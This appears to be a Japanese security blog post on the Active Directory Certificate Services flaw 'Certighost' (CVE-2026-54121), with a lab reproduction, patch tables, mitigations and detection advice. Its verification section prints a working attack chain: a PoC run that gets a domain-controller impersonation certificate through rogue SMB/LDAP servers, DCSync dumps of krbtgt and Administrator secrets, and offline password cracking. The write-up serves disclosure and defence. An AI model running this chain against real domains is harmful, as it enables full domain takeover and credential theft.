公開日:
Active Directory 証明書サービス「Certighost」CVE-2026-54121 について


1. はじめに
2026年7月14日、MicrosoftはActive Directory 証明書サービスの権限昇格脆弱性「Certighost」CVE-2026-54121を修正しました。本稿では、この脆弱性の仕組みを解説するとともに、検証用ラボ環境で実際に再現検証を行った結果を紹介します。
検証の結果、特別な権限を持たない一般ドメインユーザーアカウントから、ドメインコントローラになりすます証明書を取得し、最終的にドメイン全体の認証基盤の根幹であるkrbtgtアカウントのシークレットを含む全ドメインアカウントのハッシュを取得することに成功しました。さらに、Administratorアカウントについてはオフラインクラッキングにより平文パスワードの復元にも成功しています。この結果は、CVE-2026-54121が実運用環境において極めて高い実害(ドメイン完全制御)につながることを裏付けるものであり、AD CSサーバーへのセキュリティ更新の適用が最優先事項であることを示しています。
項目 | 内容 |
|---|---|
CVSSスコア | 8.8(High) |
攻撃前提条件 | 認証済みドメインユーザーアカウント、CAへのネットワーク到達性(SMB/LDAP) |
必要な特権 | なし(一般ユーザーで可) |
ユーザー操作 | 不要 |
検証結果としての到達点 | ドメイン完全制御(krbtgtハッシュ・Administratorパスワード奪取) |
2. 脆弱性の内容
脆弱性概要
Certighostは、AD CSのEnterprise CAが証明書要求を処理する際に行う「chase」と呼ばれるディレクトリオブジェクト解決処理に起因する権限昇格の脆弱性です。
通常のADCSのフローでは、リクエストしてきたアカウント自身のAD情報(UPN、SID、DNS名など)をそのまま証明書に埋め込みます。しかし一部のシナリオでは、CAがリクエスト元本人ではなく別のADオブジェクトの情報を参照する必要が生じます。このとき、リクエスト側が渡した「参照先のヒント」を起点に、CAが該当するADオブジェクトを追跡・解決する処理が「chase(追跡)」です。攻撃者は証明書要求に cdc(Client DC:CAが問い合わせに接続する対象ホスト)および rmd(Remote Domain:CAが解決を試みる対象プリンシパル)という属性を含めることで、この「参照先のヒント」を偽装し、CAに対して攻撃者が制御するホストへ問い合わせを行わせることができます。
パッチ適用前のCAは、cdc で指定されたホストが本当にドメインコントローラであるかを検証せず、攻撃者が用意した偽のSMB/LDAPサーバーからの応答をそのまま信用してしまいます。この結果、攻撃者はマシン証明書テンプレート(Machine)を通じて、実際には無関係な自身のコンピュータアカウントに対し、ドメインコントローラになりすます認証用証明書を発行させることができます。
イメージとしては、受付(CA)が「私はA社の代表です」と名乗る来訪者(証明書リクエスト)に対して、「では確認のためA社の本社(cdc)に電話して本人確認してください」と言われた通りに、来訪者が教えた電話番号(攻撃者の偽サーバー)にかけてしまい、電話に出た人(攻撃者)が「はい、その人は間違いなくA社の代表です」と言えば信用してしまう、という状況に近いものです。パッチ後は、受付が独自に持っている正規の電話帳(AD)で本社の番号を調べ直し、来訪者が教えた番号と一致するかを確認するようになった、という変更に相当します。
攻撃チェーン
一般ドメインユーザーアカウントで認証し、LDAPへ接続します(特権不要)
ms-DS-MachineAccountQuotaを利用し、任意のコンピュータアカウントを新規作成します攻撃者端末上にSMB(445)/LDAP(389)の偽装リスナー(rogueサーバー)を起動します
Machine証明書テンプレートに対し、
cdcとrmdを指定して証明書を要求しますCAが偽装リスナーへ接続し、返された標的DCの偽装識別情報(SID・DNS名)を信用して、標的DCに対応付く証明書を発行します
取得した証明書を用いてPKINITによりKerberos認証を実行し、標的DCとしてのTGT/セッション鍵を取得します
DCアカウントが保持するディレクトリ複製権限(Get-Changes / Get-Changes-All)を悪用し、DCSyncを実行します
結果: krbtgtおよび全ドメインアカウントのNTハッシュ・Kerberosキーを取得し、ドメイン完全制御に至ります
上図の①〜⑦および「結果」は、上記の攻撃チェーンの番号にそれぞれ対応しています。なお、図中の⑤は「CAが攻撃者ホストへ接続」「標的DCのSID・DNS名を返却」「標的DCに対応付く証明書を発行」という3段階の内部処理(⑤a〜⑤c)を1つのステップとして示したものです。
影響を受けるバージョン
バージョン | 脆弱なビルド | 修正パッチ(KB) | 修正済みビルド |
|---|---|---|---|
Windows Server 2012 | — | KB5099445 | — |
Windows Server 2012 R2 | — | KB5099444 | — |
Windows Server 2016 / Windows 10 バージョン1607 | 14393.9234 以下 | KB5099535 | 14393.9339 以上 |
Windows Server 2019 / Windows 10 バージョン1809 | 17763.8880 以下 | KB5099538 | 17763.9020 以上 |
Windows Server 2022 | 20348.5256 以下 | KB5099540 | 20348.5386 以上 |
Windows Server 2025 | 26100.32995 以下 | KB5099536 | 26100.33158 以上 |
「修正済みビルド」以上であれば本脆弱性の影響は受けません。実際の適用状況は Get-HotFix やビルド番号の確認により判断してください。
※ Windows Server 2012 / 2012 R2 はMonthly Rollup方式を採用しており、Microsoftの公式ドキュメントにもServer 2016以降のような「OS Build」番号の記載がありません。また、いずれもすでに延長サポート終了(EOS: 2023年10月)を迎えており、現在は有償のExtended Security Update(ESU)プログラム経由での提供となります。これらのバージョンについてはビルド番号ではなく、上表のKB番号の適用有無で確認してください。
Microsoftは2026年7月14日のセキュリティ更新で、CA側のリクエスト処理パスにcdcの宛先を検証するルーチンを追加しました。これにより、chase継続前に指定されたホストが実在するドメインコントローラであるかが確認されるようになり、検証に失敗したリクエストは拒否されます(検証の技術的な詳細は「3. 検証」で扱います)。
3. 検証
検証環境
役割 | 内容 |
|---|---|
攻撃者端末 | Kali Linux — 192.0.2.10 |
ドメインコントローラ | Windows Server 2022 (DC01) — 192.0.2.20 |
Enterprise CA | Windows Server 2022 (ADCS01) — 192.0.2.21 / CA名: lab-ADCS01-CA |
対象ドメイン | lab.local |
使用アカウント | testuser01@lab.local(一般ドメインユーザー、特権なし) |
脆弱性対象テンプレート | Machine(Enrollment Rights: Domain Computers を含む) |
使用ツール
ツール | 内容 |
|---|---|
Impacket | fortra/impacket(pip経由でgit installしたバージョン) |
certipy-ad | ly4k/certipy(ADCSテンプレート・CA構成の列挙に使用) |
Certighost PoC | CVE-2026-54121(certighost.py) |
パスワードクラック | John the Ripper( |
悪用可能性の判断要因
Certighostの悪用可能性は、certipy-adで確認できるテンプレート側の設定と、certipy-adでは確認できないCAサーバー側(パッチ適用状況)の不可視要因の両方が組み合わさって初めて成立します。まず、事前に certipy-ad find で取得した対象テンプレート(Machine)の出力を以下に示します。
19
Template Name : Machine
Display Name : コンピューター
Certificate Authorities : lab-ADCS01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireDns
SubjectRequireDnsAsCn
Enrollment Flag : AutoEnrollment
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Permissions
Enrollment Permissions
Enrollment Rights : LAB\Domain Admins
LAB\Domain Computers
LAB\Enterprise Admins
[+] User Enrollable Principals : LAB\Domain Computersこのうち、悪用可能性の判断に関係する項目とその理由を以下にまとめます。
項目 | 値 | 悪用可能性への寄与 |
|---|---|---|
| True | テンプレートが実際に使用可能な状態にあります |
| True | 発行証明書がPKINIT認証(なりすましログオン)に使えます |
| False / SubjectAltRequireDns, SubjectRequireDnsAsCn | 通常はSubject/SAN偽装を防止する設定ですが、Certighostの脆弱性はこの防御をCA側の |
| Client Authentication, Server Authentication | 認証用途として利用可能であることの裏付けになります |
| False | 攻撃を完全に自動化できます(承認待ちが発生しません) |
| Domain Computers を含む |
|
このMachineテンプレートの設定自体は、多くの環境で見られる既定値そのままの構成であり、certipy-adの [!] Vulnerabilities にもESC系のフラグとしては(Certighost用の判定ロジックが無いため)表示されません。つまり、テンプレート単体を見て「これはESC◯だから危険」と分類できる脆弱性ではありません。
上記のようなテンプレート側の条件は、あくまで悪用の土台にすぎません。実際に脆弱性が成立するかどうかを最終的に決めているのは、CAバイナリ側のchase実装不備、すなわちCAサーバーが2026年7月のセキュリティ更新(検証ルーチンCRequestInstance::_ValidateChaseTargetIsDCの適用有無)を適用済みかどうかという、テンプレート設定からは一切見えないサーバー側のロジック欠陥です。パッチ適用後のCAであれば、テンプレート側の条件が上記の通りすべて揃っていても、chaseの検証で不正なリクエストは拒否され、悪用は成立しません。
したがって本脆弱性の判定は、テンプレート構成の確認だけでは完結せず、CAサーバーのパッチ適用状況を別途(Certipyの出力には現れない方法で)確認する必要があります。
手順1: 証明書取得とPKINIT認証
ここでは、一般ドメインユーザーの権限のみで実際にドメインコントローラ(DC01$)になりすます証明書を取得できること、さらにその証明書を使ってPKINIT認証を成立させ、DC01$としてのKerberos認証情報(TGT/NTハッシュ)を取得できることを確認します。これにより、脆弱性が理論上の指摘に留まらず、実際の攻撃チェーンとして最初の一歩(なりすまし証明書の取得)から成立することを示します。
実施した内容は以下の通りです。
一般ユーザーアカウント testuser01(AD側に存在する通常の一般ドメインユーザーアカウントで、特権は保有していません)を用いて
certighost.pyを実行します。実行元はドメインに参加していない攻撃者端末(Kali Linux)であり、AD側のアカウント認証情報のみをネットワーク経由で使用しますcertighost.pyがDC01$になりすます証明書(dc01.pfx)を取得し、その証明書でPKINIT認証を行った結果、DC01$としてのKerberosチケットキャッシュ(dc01.ccache)を取得します
$ python3 certighost.py -d lab.local -u testuser01 -p '<REDACTED>' --dc-ip 192.0.2.20
[*] Connecting to LDAPS
[*] Detecting infrastructure
DC: 192.0.2.20 | CA: lab-ADCS01-CA (192.0.2.21)
Target: DC01$ | SID: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-1000
[*] Creating computer: GHOSTUIRLLYPI$
[*] Starting rogue servers (LSA:445 + LDAP:389)
[*] Requesting certificate (template=Machine, cdc=192.0.2.10)
Saved: dc01.pfx
[*] PKINIT as DC01$
[*] Got hash for DC01$:
DC01$:<REDACTED-LMHASH>:<REDACTED-NTHASH-DC01>
ccache: dc01.ccache
[*] GGWP実行完了後、作業ディレクトリを確認したところ、以下のファイルが生成されていました。
$ ls -a
. .. certighost.py dc01.ccache dc01.pfx .git README.mdファイル | 内容 |
|---|---|
| PKINITで使用した、DC01$になりすます不正発行済みの証明書(秘密鍵含む) |
|
|
このうち dc01.ccache を次の手順(DCSyncによるドメインシークレット抽出)で KRB5CCNAME 環境変数に設定し、DC01$になりすました状態でDCSync操作を実行する認証情報として利用します。
手順2: DCSyncによるドメインシークレット抽出
続いて、手順1で取得したDC01$の認証情報が、実際にドメインコントローラとしての特権(ディレクトリ複製権限)を行使できることを確認します。DCアカウントはドメイン内のすべてのシークレットをレプリケーション経由で取得できる権限(Get-Changes / Get-Changes-All)を持つため、この特権を悪用してkrbtgtおよびAdministratorのシークレットを抽出できるかを検証し、脆弱性の最終的な到達点(ドメイン完全制御相当の実害)を確認します。
実施した内容は以下の通りです。
dc01.ccacheをKRB5CCNAME環境変数に設定しますimpacket-secretsdumpをDC01$として実行し、krbtgtのシークレットを抽出します同様に、Administratorのシークレットを抽出します
$ export KRB5CCNAME=/opt/CVE-2026-54121/dc01.ccache
$ impacket-secretsdump -k -no-pass -dc-ip 192.0.2.20 -just-dc-user 'krbtgt' \
'lab.local/DC01$@DC01.lab.local'
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:<REDACTED-LMHASH>:<REDACTED-NTHASH-KRBTGT>:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:<REDACTED>
krbtgt:aes128-cts-hmac-sha1-96:<REDACTED>
krbtgt:des-cbc-md5:<REDACTED>$ impacket-secretsdump -k -no-pass -dc-ip 192.0.2.20 -just-dc-user 'administrator' \
'lab.local/DC01$@DC01.lab.local'
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:<REDACTED-LMHASH>:<REDACTED-NTHASH-ADMIN>:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:<REDACTED>
Administrator:aes128-cts-hmac-sha1-96:<REDACTED>
Administrator:des-cbc-md5:<REDACTED>手順3: Administratorハッシュのオフラインクラッキング
krbtgtのNTハッシュ・Kerberosキーを取得できた時点で、これを用いて任意のアカウント(例えばDomain Admins)になりすましたTGTを自作する「Golden Ticket」攻撃も可能な状態にあります。Golden Ticketを使えば、以後krbtgtのキーが変更されるまで、ドメイン内で任意のアカウントとして継続的に認証を通せてしまいます。
ここでは、Golden Ticketのような継続的ななりすましではなく、取得した認証情報がどこまで平文パスワードの特定につながるかを確認する目的で、以下を実施しました。
AdministratorのNTハッシュを抽出します(手順2で取得済み)
John the Ripperを用いて、辞書攻撃によるオフラインクラッキングを実施します
$ john --format=NT --wordlist=passlist.txt hash.txt
Loaded 1 password hash (NT [MD4 512/512 AVX512BW 16x3])
<REDACTED-PLAINTEXT-PASSWORD> (Administrator)
1g 0:00:00:00 DONE取得したNTハッシュは辞書攻撃により瞬時にクラックされ、平文パスワード <REDACTED-PLAINTEXT-PASSWORD> が復元されました。このパスワードは一般的な辞書に含まれる弱いパスワードであり、瞬時にクラックされた点も別途の課題として指摘します(詳細は「5. リスク評価」参照)。
4. 検証結果まとめ
項目 | 内容 |
|---|---|
脆弱性の再現性 | 再現しました |
取得できた証明書 | DC01$(ドメインコントローラ)になりすます証明書(dc01.pfx) |
取得できた認証情報 | DC01$のNTハッシュ、krbtgtのNTハッシュ・Kerberosキー、Administratorのハッシュ |
最終的な到達点 | Administratorの平文パスワード復元( |
必要だった攻撃者側の前提 | 一般ドメインユーザーの認証情報のみ(testuser01 / 特権なし) |
5. リスク評価
本検証により、CVE-2026-54121はPoCだけでなく実運用に近いラボ構成においても、低権限ユーザーからドメイン完全制御へ到達可能な現実的リスクであることが確認されました。特に以下の条件がすべて満たされる環境では、リスクは極めて高いと評価します。
Enterprise CAが2026年7月のセキュリティ更新未適用である
Machineテンプレート(またはこれに準ずるDomain Computersがエンロール可能なテンプレート)が既定のまま有効になっている
CAサーバーから一般クライアントセグメントへのSMB/LDAPアウトバウンド通信が制限されていない
ms-DS-MachineAccountQuotaが既定値のまま(0に変更されていない)である
また、本検証で取得したAdministratorのNTハッシュが一般的な辞書に含まれる弱いパスワード(<REDACTED-PLAINTEXT-PASSWORD>)であったことも付随する所見として挙げられます。Certighostによる侵害後の権限拡大を容易にするだけでなく、パスワードスプレー等の別の攻撃経路でも突破され得る状態にあることを示しています。
6. 推奨対策
パッチ適用
すべてのEnterprise CAホストに2026年7月14日のMicrosoftセキュリティ更新を適用します
パッチ適用後、
_ValidateChaseTargetIsDCによる検証が有効になっていることを確認します(パッチ適用済み環境で同PoCを再実行し、リクエストが拒否されることを確認するのが望ましいです)パッチ適用が即座に行えない場合の暫定回避策として、
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDCにより脆弱なchaseフォールバックを無効化し、Restart-Service CertSvc -ForceでCA証明書サービスを再起動する方法があります。ただし本回避策はあくまで暫定措置であり、事前に非本番環境で動作影響を確認したうえで適用し、最終的には正式なセキュリティ更新の適用に置き換えてください
多層防御
ms-DS-MachineAccountQuotaを0に設定し、一般ユーザーによる任意のコンピュータアカウント作成を禁止しますCAサーバーから一般クライアントセグメントへのSMB(445)/LDAP(389)アウトバウンド通信をファイアウォールで制限します
Machineテンプレートを含む証明書テンプレートを見直し、不要なテンプレートを無効化します
Administratorアカウントを含む特権アカウントのパスワードを、辞書攻撃に耐える十分な強度のものに変更します
検知強化
Microsoft Defenderは本脆弱性に関連する悪意ある証明書リクエストを検知した場合、「Potential Certighost (CVE-2026-54121) AD CS abuse」および「Active Directory Certificate Services attack tool activity」というアラートを生成します。これらのアラートの有効化・監視体制を最優先で確認してください
上記に加え、攻撃チェーンの各段階で以下の関連アラートが発生する可能性があるため、SOC/監視チームと連携してアラートルールの有効化状況を確認します
セキュリティプリンシパルの偵察(LDAPを用いたドメイン情報収集)を示すアラート
ADCS悪用ツール活動の疑い(Certipy等の既知ツールのシグネチャ)を示すアラート
疑わしいKerberosチケットリクエスト(異常なPKINIT要求パターン)を示すアラート
DCSync攻撃(ディレクトリサービスの複製、Get-Changes / Get-Changes-Allの不審な使用)を示すアラート
証明書サービスの監査ログ(
certutil -setreg CA\AuditFilter 127等によるAuditFilterの有効化)を設定し、chase関連の異常なリクエスト(未知のホストへのcdc参照等)を監視しますSysmon等を用いて、CAサーバーからのポート445/389への予期しないアウトバウンド接続(イベントID3)を監視することも、rogueサーバーへの通信を検知する観点で有効です
7. おわりに
本稿では、CVE-2026-54121(Certighost)の仕組みと、lab.local検証ラボ環境における再現検証の結果を紹介しました。CVSSスコアだけでなく、実際に一般ユーザーからドメイン完全制御まで到達してしまったことからも、優先度の高い対応が必要な脆弱性だと言えます。
CVSS 8.8(High)という評価が示す通り、この脆弱性は「特権不要・ユーザー操作不要・ネットワーク到達性のみで悪用可能」という悪用ハードルの低さを特徴としています。さらに本検証で確認した通り、特権を持たない一般ドメインユーザーから、証明書の不正取得・PKINIT認証・DCSyncという一連のチェーンを追加の脆弱性やラテラルムーブメントなしに辿るだけで、krbtgtを含む全ドメインアカウントのシークレット奪取、すなわちドメイン完全制御まで到達してしまいます。この「単一のチェーンだけで最終到達点まで届く」点が、本脆弱性の危険度を特に高くしている理由です。
再現性については、Machineテンプレートの構成(有効・承認不要・Domain Computersへのエンロール権限)や ms-DS-MachineAccountQuota が既定値のままであることは、攻撃者が証明書要求という「入口」に立ちやすくする土台であり、これらが既定値のまま残っている環境は再現性が高い傾向にあります。一方で、これらの条件がすべて揃っていても、CAサーバーが2026年7月のセキュリティ更新を適用済みであれば、_ValidateChaseTargetIsDC による検証で不正なリクエストは拒否され、脆弱性は成立しません。つまり、最終的に再現するかどうかを決めているのはテンプレート側の構成ではなく、CAサーバーにパッチが当たっているかどうかです。
最優先はすべてのEnterprise CAへのセキュリティ更新の適用であり、Machineテンプレートの見直しや ms-DS-MachineAccountQuota の制限は、パッチ適用を前提とした多層防御として位置づけるべきものです。パッチ未適用のAD CSサーバーが1台でも残っていれば、そこからドメイン全体まで被害が及びます。6章の推奨対策を参考に、早急な対応を推奨します。

当サイトに掲載されている情報(記事、資料、動画、テンプレート等)については、その正確性および妥当性の確保に努めておりますが、ご利用に際しては、利用者ご自身の責任においてご判断ください。なお、個別の事情に応じては、専門家へのご相談を含め、適切な対応をご検討いただくことを推奨いたします。






























